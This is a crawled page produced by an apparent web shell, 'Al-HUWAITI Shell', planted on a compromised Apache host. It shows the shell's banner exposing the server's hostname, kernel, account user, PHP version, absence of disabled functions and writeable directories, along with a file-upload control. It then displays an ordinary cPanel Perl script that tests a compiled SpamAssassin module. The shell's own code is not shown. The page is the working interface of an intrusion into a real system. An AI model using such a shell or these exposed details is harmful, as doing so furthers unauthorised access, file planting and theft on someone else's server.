Al-HUWAITI Shell
Al-huwaiti


Server : Apache
System : Linux 122.228.205.92.host.secureserver.net 5.14.0-362.18.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jan 29 07:05:48 EST 2024 x86_64
User : ondostategov ( 1002)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //scripts/test_sa_compiled
#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/test_sa_compiled                Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

use Mail::SpamAssassin;
if ($Mail::SpamAssassin::VERSION) {
    my ($perl_version) = ( $] =~ /^(\d\.\d\d\d)/ );
    unshift @INC,
      (
        -e "/var/lib/spamassassin/compiled/$perl_version/$Mail::SpamAssassin::VERSION"
        ? "/var/lib/spamassassin/compiled/$perl_version/$Mail::SpamAssassin::VERSION"
        : "/var/lib/spamassassin/compiled/$Mail::SpamAssassin::VERSION"
      );
}

if (@ARGV) {
    unshift @INC, $ARGV[0];
}

# used by update_spamassassin_config to determine if sa-compile generated a working body_0 XS module
eval {
    require Mail::SpamAssassin::CompiledRegexps::body_0;

    my $string = 'test';
    my $match  = Mail::SpamAssassin::CompiledRegexps::body_0::scan($string);

    print "ok\n";
};

Al-HUWAITI Shell